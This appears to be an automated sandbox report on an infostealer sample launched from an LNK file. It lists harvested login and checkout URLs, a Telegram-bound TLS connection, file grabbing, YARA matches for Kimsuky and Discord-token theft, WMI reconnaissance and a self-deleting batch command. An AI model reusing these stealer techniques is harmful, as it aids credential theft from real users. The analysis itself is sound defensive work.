Source: sets.json.7.dr	String found in binary or memory: https://radio1.be
Source: sets.json.7.dr	String found in binary or memory: https://radio2.be
Source: sets.json.7.dr	String found in binary or memory: https://reactor.cc
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://registration.mercadolibre.com.co/registration-buy
Source: sets.json.7.dr	String found in binary or memory: https://repid.org
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://reset.vova.com/
Source: sets.json.7.dr	String found in binary or memory: https://reshim.org
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://resultados.lch.com.co/ingresar
Source: sets.json.7.dr	String found in binary or memory: https://rws1nvtvt.com
Source: sets.json.7.dr	String found in binary or memory: https://rws2nvtvt.com
Source: sets.json.7.dr	String found in binary or memory: https://rws3nvtvt.com
Source: sets.json.7.dr	String found in binary or memory: https://sackrace.ai
Source: sets.json.7.dr	String found in binary or memory: https://salemoveadvisor.com
Source: sets.json.7.dr	String found in binary or memory: https://salemovefinancial.com
Source: sets.json.7.dr	String found in binary or memory: https://salemovetravel.com
Source: sets.json.7.dr	String found in binary or memory: https://samayam.com
Source: sets.json.7.dr	String found in binary or memory: https://sapo.io
Source: sets.json.7.dr	String found in binary or memory: https://sapo.pt
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://secure.totalav.com/createlogin
Source: sets.json.7.dr	String found in binary or memory: https://shock.co
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://shop.site-link.com/peachtreeorder/custinfo.asp
Source: sets.json.7.dr	String found in binary or memory: https://smaker.pl
Source: sets.json.7.dr	String found in binary or memory: https://smoney.vn
Source: sets.json.7.dr	String found in binary or memory: https://smpn106jkt.sch.id
Source: sets.json.7.dr	String found in binary or memory: https://socket-to-me.vip
Source: sets.json.7.dr	String found in binary or memory: https://songshare.com
Source: sets.json.7.dr	String found in binary or memory: https://songstats.com
Source: sets.json.7.dr	String found in binary or memory: https://sporza.be
Source: sets.json.7.dr	String found in binary or memory: https://standardsandpraiserepurpose.com
Source: sets.json.7.dr	String found in binary or memory: https://startlap.hu
Source: sets.json.7.dr	String found in binary or memory: https://startupislandtaiwan.com
Source: sets.json.7.dr	String found in binary or memory: https://startupislandtaiwan.net
Source: sets.json.7.dr	String found in binary or memory: https://startupislandtaiwan.org
Source: sets.json.7.dr	String found in binary or memory: https://stripe.com
Source: sets.json.7.dr	String found in binary or memory: https://stripe.network
Source: sets.json.7.dr	String found in binary or memory: https://stripecdn.com
Source: sets.json.7.dr	String found in binary or memory: https://supereva.it
Source: places.raw.4.dr	String found in binary or memory: https://support.mozilla.org
Source: places.raw.4.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: places.raw.4.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: sets.json.7.dr	String found in binary or memory: https://takeabreak.co.uk
Source: sets.json.7.dr	String found in binary or memory: https://talkdeskqaid.com
Source: sets.json.7.dr	String found in binary or memory: https://talkdeskstgid.com
Source: sets.json.7.dr	String found in binary or memory: https://teacherdashboard.com
Source: sets.json.7.dr	String found in binary or memory: https://technology-revealed.com
Source: sets.json.7.dr	String found in binary or memory: https://terazgotuje.pl
Source: sets.json.7.dr	String found in binary or memory: https://text.com
Source: sets.json.7.dr	String found in binary or memory: https://textyserver.appspot.com
Source: sets.json.7.dr	String found in binary or memory: https://the42.ie
Source: sets.json.7.dr	String found in binary or memory: https://thejournal.ie
Source: sets.json.7.dr	String found in binary or memory: https://thirdspace.org.au
Source: sets.json.7.dr	String found in binary or memory: https://timesinternet.in
Source: sets.json.7.dr	String found in binary or memory: https://timesofindia.com
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://todoenartes.com/register
Source: sets.json.7.dr	String found in binary or memory: https://tolteck.app
Source: sets.json.7.dr	String found in binary or memory: https://tolteck.com
Source: sets.json.7.dr	String found in binary or memory: https://top.pl
Source: sets.json.7.dr	String found in binary or memory: https://tribunnews.com
Source: sets.json.7.dr	String found in binary or memory: https://trytalkdesk.com
Source: sets.json.7.dr	String found in binary or memory: https://tucarro.com
Source: sets.json.7.dr	String found in binary or memory: https://tucarro.com.co
Source: sets.json.7.dr	String found in binary or memory: https://tucarro.com.ve
Source: sets.json.7.dr	String found in binary or memory: https://tvid.in
Source: sets.json.7.dr	String found in binary or memory: https://tvn.pl
Source: sets.json.7.dr	String found in binary or memory: https://tvn24.pl
Source: sets.json.7.dr	String found in binary or memory: https://unotv.com
Source: sets.json.7.dr	String found in binary or memory: https://victorymedium.com
Source: sets.json.7.dr	String found in binary or memory: https://vrt.be
Source: sets.json.7.dr	String found in binary or memory: https://vwo.com
Source: p.html.4.dr	String found in binary or memory: https://webmail.claro.net.co/app/s/LoginPage.asp
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://webmail.telmex.net.co/app/s/LoginPage.asp
Source: sets.json.7.dr	String found in binary or memory: https://welt.de
Source: sets.json.7.dr	String found in binary or memory: https://wieistmeineip.de
Source: sets.json.7.dr	String found in binary or memory: https://wildix.com
Source: sets.json.7.dr	String found in binary or memory: https://wildixin.com
Source: sets.json.7.dr	String found in binary or memory: https://wingify.com
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://woodsmithlibrary.foxycart.com/checkout
Source: sets.json.7.dr	String found in binary or memory: https://wordle.at
Source: sets.json.7.dr	String found in binary or memory: https://wp.pl
Source: sets.json.7.dr	String found in binary or memory: https://wpext.pl
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://wsvideoedition.foxycart.com/checkout
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://www.amazon.com/ap/forgotpassword
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://www.amazon.com/ap/signin
Source: sets.json.7.dr	String found in binary or memory: https://www.asadcdn.com
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://www.banggood.com/login.html
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://www.buildsomething.com/sign-up
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://www.directv.com.co/Midirectv/home/LogIn
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://www.directv.com.co/midirectv/ingresar
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://www.dominos.com.co/pages/order/payment
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://www.dropbox.com/s/ppd4vfvmii0jnt8/Cam%20lever%20clamps%20for%20worksurfaces%20with%20dog%20h
Source: tmp1201676045.exe, 00000004.00000002.2330412278.000001F7100CC000.00000004.00000800.00020000.00000000.sdmp, tmp57B1.tmp.dat.4.dr, tmp717B.tmp.dat.4.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://www.gef.com.co/tienda/UserRegistrationForm
Source: tmp1201676045.exe, 00000004.00000002.2330412278.000001F7100CC000.00000004.00000800.00020000.00000000.sdmp, tmp57B1.tmp.dat.4.dr, tmp717B.tmp.dat.4.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://www.grammarly.com/signup
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://www.hponline.com.co/account/login
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://www.iclaro.com.hn/app/s/LoginPage.asp
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://www.incrementaltools.com/one-page-checkout.asp
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://www.instagram.com/accounts/signup/
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://www.instructables.com/id/DIY-Chess-Board/
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://www.mercadolibre.com.co/registration-buy
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://www.miclaroapp.com.co/
Source: places.raw.4.dr	String found in binary or memory: https://www.mozilla.org
Source: places.raw.4.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: places.raw.4.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: History.txt.4.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/)
Source: tmp8A98.tmp.dat.4.dr, places.raw.4.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: places.raw.4.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: tmp8A98.tmp.dat.4.dr, places.raw.4.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: tmp8A98.tmp.dat.4.dr, places.raw.4.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://www.mundialdetornillos.com/index.php
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://www.panamericana.com.co/registro/inicio
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://www.paypal.com/signin
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://www.paypal.com/webapps/hermes
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://www.pdffiller.com/en/login.htm
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://www.pinterest.com/smmmokin14/woodworking-tips-and-jigs/
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://www.pinterest.es/
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://www.ptreeorder.com/custinfo.asp
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://www.spotify.com/co/signup/
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://www.themakersmob.com/register/resend
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://www.tumblr.com/register
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://www.vectorart3d.com/store/
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://www.vova.com/es/login.php
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://www.woodsmithlibrary.com/account/password/reset/complete/
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://www.woodsmithplans.com/account/
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://www.woodsmithshop.com/account/login/
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://www.woodsmithvideoedition.com/account/login/
Source: tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416FD7000.00000004.00000800.00020000.00000000.sdmp, p.html.4.dr	String found in binary or memory: https://www.wwgoa.com/checkout/
Source: sets.json.7.dr	String found in binary or memory: https://ya.ru
Source: sets.json.7.dr	String found in binary or memory: https://yours.co.uk
Source: sets.json.7.dr	String found in binary or memory: https://zalo.me
Source: sets.json.7.dr	String found in binary or memory: https://zdrowietvn.pl
Source: sets.json.7.dr	String found in binary or memory: https://zingmp3.vn
Source: sets.json.7.dr	String found in binary or memory: https://zoom.com
Source: sets.json.7.dr	String found in binary or memory: https://zoom.us

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59192 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59192

Source: unknown	HTTPS traffic detected: 104.21.44.66:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49724 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	File deleted: C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\PALRGUCVEH\GLTYDMDUST.mp3	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	File deleted: C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\BJZFPPWAPT\BJZFPPWAPT.docx	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	File deleted: C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\BJZFPPWAPT\BJZFPPWAPT.docx	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	File deleted: C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\GRXZDKKVDB\ZGGKNSUKOP.mp3	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	File deleted: C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\BJZFPPWAPT\DUUDTUBZFW.xlsx	Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: Exodus.txt.lnk, type: SAMPLE	Matched rule: Detect Kimsuky LNK Author: Sekoia.io
Source: 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: Process Memory Space: tmp1201676045.exe PID: 5268, type: MEMORYSTR	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen

Found suspicious ZIP file

Source: 9D932ED301.zip.4.dr

Zip Entry: Grabber\DRIVE-C\Users\user\Desktop\Excel.lnk

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe

Jump to dropped file

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6496_8624738	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6496_8624738\sets.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6496_8624738\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6496_8624738\LICENSE	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6496_8624738\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6496_8624738\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6496_8624738\manifest.fingerprint	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6496_1036454611	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6496_1036454611\LICENSE.txt	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6496_1036454611\Filtering Rules	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6496_1036454611\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6496_1036454611\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6496_1036454611\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6496_1036454611\manifest.fingerprint	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\chrome_BITS_6496_1652225558

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Code function: 4_2_00007FF848F065C2	4_2_00007FF848F065C2
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Code function: 4_2_00007FF848F0D6C8	4_2_00007FF848F0D6C8
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Code function: 4_2_00007FF848F10D3D	4_2_00007FF848F10D3D
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Code function: 4_2_00007FF848F0D00F	4_2_00007FF848F0D00F
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Code function: 4_2_00007FF848F0A8AD	4_2_00007FF848F0A8AD
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Code function: 4_2_00007FF848F0FF90	4_2_00007FF848F0FF90
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Code function: 4_2_00007FF848F05816	4_2_00007FF848F05816
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Code function: 4_2_00007FF848F12236	4_2_00007FF848F12236
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Code function: 4_2_00007FF848F11247	4_2_00007FF848F11247
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Code function: 4_2_00007FF848F09A68	4_2_00007FF848F09A68
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Code function: 4_2_00007FF848F121CC	4_2_00007FF848F121CC
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Code function: 4_2_00007FF848F10C44	4_2_00007FF848F10C44
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Code function: 4_2_00007FF848F14C68	4_2_00007FF848F14C68
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Code function: 4_2_00007FF848F14BA0	4_2_00007FF848F14BA0
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Code function: 14_2_00007FF848F15816	14_2_00007FF848F15816
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Code function: 14_2_00007FF848F165C2	14_2_00007FF848F165C2

Source: tmp1201676045.exe.2.dr

Static PE information: No import functions for PE file found

Source: Exodus.txt.lnk, type: SAMPLE	Matched rule: downloader_kimsuky_lnk hash4 = fe156159a26f8b7c140db61dd8b136e1c8103a800748fe9b70a3a3fdf179d3c3, hash3 = e936445935c4a636614f7113e4121695a5f3e4a6c137b7cdcceb6f629aa957c4, hash2 = d912f49d24792aa7197509f76e2097ac3858cde23199e1b40f2516948d39c589, hash1 = 3065b8e4bb91b4229d1cea671e8959da8be2e7482067e1dd03519c882738045e, author = Sekoia.io, description = Detect Kimsuky LNK, creation_date = 2024-07-16, classification = TLP:CLEAR, version = 1.0, reference = https://blogs.jpcert.or.jp/en/2024/07/attack-activities-by-kimsuky-targeting-japanese-organizations.html, id = 3831d115-7874-4bc9-aeb4-d2cb9bc2b5c9
Source: 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: Process Memory Space: tmp1201676045.exe PID: 5268, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions

Source: classification engine

Classification label: mal100.rans.troj.spyw.evad.winLNK@70/166@8/8

Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe

File created: C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2992:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2300:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6432:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1628:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7916:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1976:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Mutant created: \Sessions\1\BaseNamedObjects\2K0MRXSZQZ58VCKGH4OR
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8136:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8100:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2p1n3l5i.2j2.ps1

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C C:\Users\user\AppData\Local\Temp\tmp73C0.tmp.bat & Del C:\Users\user\AppData\Local\Temp\tmp73C0.tmp.bat

Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorId From Win32_processor
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorId From Win32_processor
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
